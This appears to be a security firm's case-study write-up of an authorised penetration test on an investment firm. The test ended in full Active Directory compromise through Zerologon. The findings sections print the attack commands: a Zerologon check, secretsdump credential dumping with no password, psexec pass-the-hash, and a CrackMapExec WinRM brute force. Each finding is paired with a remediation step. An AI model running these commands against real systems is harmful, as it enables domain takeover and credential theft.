Domain Controller Compromised CVE-2020-1472 · Zerologon Web App · Network · AD 7 Targets · Active + Passive Authorised Engagement

Full Domain Compromise via Zerologon
— Investment Firm VAPT

An authorised penetration test and vulnerability assessment across servers, networks, web applications, and cloud assets — culminating in SYSTEM-level domain controller access via CVE-2020-1472.

Engagement type VAPT — Active & Passive
Scope 7 targets (DC, Web, Cloud, ERP)
DC OS Windows Server 2019 (Build 17763)
Overall risk CRITICAL
4
High (Active)
4
Medium (Active)
2
Low (Active)
51
Medium (Passive)
91
Low (Passive)
7
Targets scanned
!! CRITICAL
Full domain compromise achieved. The SAGE$ machine account was exploited via Zerologon (CVE-2020-1472), resetting the DC password to blank. Administrator NTLM hash dumped. SYSTEM-level shell obtained — all domain resources, user credentials, and connected systems considered fully compromised.

Scope & methodology

A combined active penetration test and passive vulnerability assessment was conducted across an investment firm's on-premises infrastructure, public-facing web properties, and cloud-hosted platforms. Active testing involved real exploitation attempts using industry-standard offensive tooling. Passive assessment covered seven distinct targets using automated scanning without direct exploitation.

CrackMapExec Nmap Nessus secretsdump.py psexec.py PetitPotam PrintNightmare Zerologon PoC smbclient xfreerdp openssl Burp Suite

Key findings — active pentest

Critical Domain Controller fully compromised — Zerologon CVE-2020-1472 CVSS 10.0

The SAGE$ machine account (Domain Controller) was vulnerable to Zerologon — a cryptographic flaw in the Netlogon protocol allowing an unauthenticated attacker to reset the DC machine account password to blank, then authenticate as the DC itself. Full domain dominance was achieved in a single exploit chain.

$ python3 zerologon_tester.py SAGE 192.168.0.15 [*] Performing authentication attempts... [+] Success! DC is vulnerable to Zerologon.   $ secretsdump.py -just-dc [REDACTED]/SAGE\[email protected] -no-pass [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 [*] NTLM hash confirmed — blank password (31d6cfe0...)   $ psexec.py -hashes :[REDACTED_HASH] [REDACTED]/[email protected] [+] SYSTEM shell obtained on Domain Controller
Business impact
All domain credentials exposed · Full AD takeover · Connected systems compromised · Ransomware deployment possible · Regulatory breach (NDPR)
OWASP / CVE reference
CVE-2020-1472 · CVSS 10.0 · Patch: KB4570334 · MITRE T1210 (Exploitation of Remote Services)
High WinRM exposed on port 5985 — brute-forced with 7M+ passwords CVSS 7.5

Windows Remote Management was accessible externally on port 5985 using unencrypted HTTP. Brute-force testing was conducted via CrackMapExec across a large credential list, confirming the attack surface for remote command execution without requiring physical access.

$ crackmapexec winrm 192.168.0.15 -u users.txt -p rockyou.txt [*] 192.168.0.15:5985 WINRM — Testing credentials... [+] Port 5985/tcp OPEN — WinRM accessible (HTTP, no TLS)
Impact
Remote command execution · Lateral movement · Credential interception (HTTP, unencrypted)
Remediation
Disable HTTP listener (5985) · Enable HTTPS (5986) · Restrict to admin jump hosts via firewall
High WordPress admin panel publicly accessible — no access controls CVSS 7.5

The /wp-admin/ and /wp-login.php pages returned HTTP 200 with no IP restriction, rate limiting, or MFA. The XML-RPC endpoint (/xmlrpc.php) was also active — enabling brute-force amplification via system.multicall and potential DDoS via pingback abuse.

Impact
OWASP A01:2021 — Broken Access Control · Credential stuffing · Plugin exploit path · CMS takeover
Remediation
IP whitelist /wp-admin/ · Enforce MFA · Disable xmlrpc.php · Enable login attempt limiting
High TLS certificate expired — HTTPS outage risk for public domain CVSS 7.5

SSL certificate verification confirmed an expiry of November 11, 2025. Post-expiry, HTTPS connections would fail across all browsers, making the investment platform completely inaccessible via secure connection and triggering client-side security warnings.

$ openssl s_client -connect [REDACTED-DOMAIN]:443 -servername [REDACTED-DOMAIN] Not Before: Dec 18, 2024 Not After : Nov 11, 2025 ← EXPIRED
Medium SMB signing disabled — NTLM relay attack path confirmed CVSS 5.3

SMB signing was not enforced on the domain controller (192.168.0.15). With SMB signing disabled, an attacker positioned on the network can intercept and relay NTLM authentication, escalating privileges without needing plaintext credentials — chaining directly with the Zerologon finding.

Impact
NTLM relay · SMB man-in-the-middle · Session hijacking · Privilege escalation without credentials
Remediation
Enforce SMB signing via Group Policy · Prefer Kerberos over NTLM · Restrict SMB to trusted hosts

Attack chain — initial access to full domain compromise

01

Reconnaissance & enumeration

Nmap + CrackMapExec used to enumerate live hosts, open ports (445/SMB, 5985/WinRM, 3389/RDP), OS fingerprint (Windows Server 2019), and domain membership. User accounts discovered via smbclient share enumeration.

02

Zerologon exploit — DC machine account reset

CVE-2020-1472 exploited against the SAGE$ Domain Controller. The Netlogon authentication flaw allowed the machine account password to be reset to blank with zero credentials required — no prior foothold needed.

03

Credential access — NTLM hash dump

Authenticated to the DC using the compromised SAGE$ account. secretsdump.py extracted the Administrator NTLM hash, confirming the blank password exploitation was successful and that all domain credentials are accessible.

04

Pass-the-hash — SYSTEM shell obtained

psexec.py used to authenticate with the dumped NTLM hash, obtaining an interactive SYSTEM-level shell on the Domain Controller. Full domain dominance confirmed — all AD objects, GPOs, and connected resources under attacker control.

05

Findings documented — remediation handed to client

All exploitation evidence captured with live terminal output. CVSS-scored report with immediate, short-term, and long-term remediation roadmap delivered in executive and technical formats.

Passive scan — 7 targets assessed

Automated vulnerability scanning was performed across the full asset estate including the primary domain, ERP system, SharePoint, HR platform, Power Apps, Dynamics CRM, and learning portal.

[REDACTED]-investment.com.ng
1 High 5 Medium 6 Low
Sage ERP (129.x.x.x)
0 High 3 Medium 9 Low
SharePoint (cloud)
0 High 10 Medium 13 Low
HR Platform (oicl.seamlesshrms)
0 High 5 Medium 7 Low
Power Apps (apps.powerapps.com)
0 High 10 Medium 12 Low
Dynamics CRM (crm4.dynamics.com)
0 High 9 Medium 12 Low
Learning Portal (percipio.com)
0 High 9 Medium 11 Low

Common findings across passive targets: missing CSP headers · CORS misconfiguration · absent DMARC/DKIM · cookies without HttpOnly/Secure flags · technology stack disclosure · outdated JavaScript libraries · missing HSTS

Remediation roadmap

Immediate (0–24 hours)

Short-term (1–7 days)

Long-term security measures

Engagement outcome

Findings delivered in dual-format reports — an executive brief for board-level risk sign-off, and a technical report with CVSS scores, CVE references, MITRE ATT&CK mapping, and developer-ready remediation steps.

→ Engagement conducted under formal authorisation · All systems restored post-testing · NDA in effect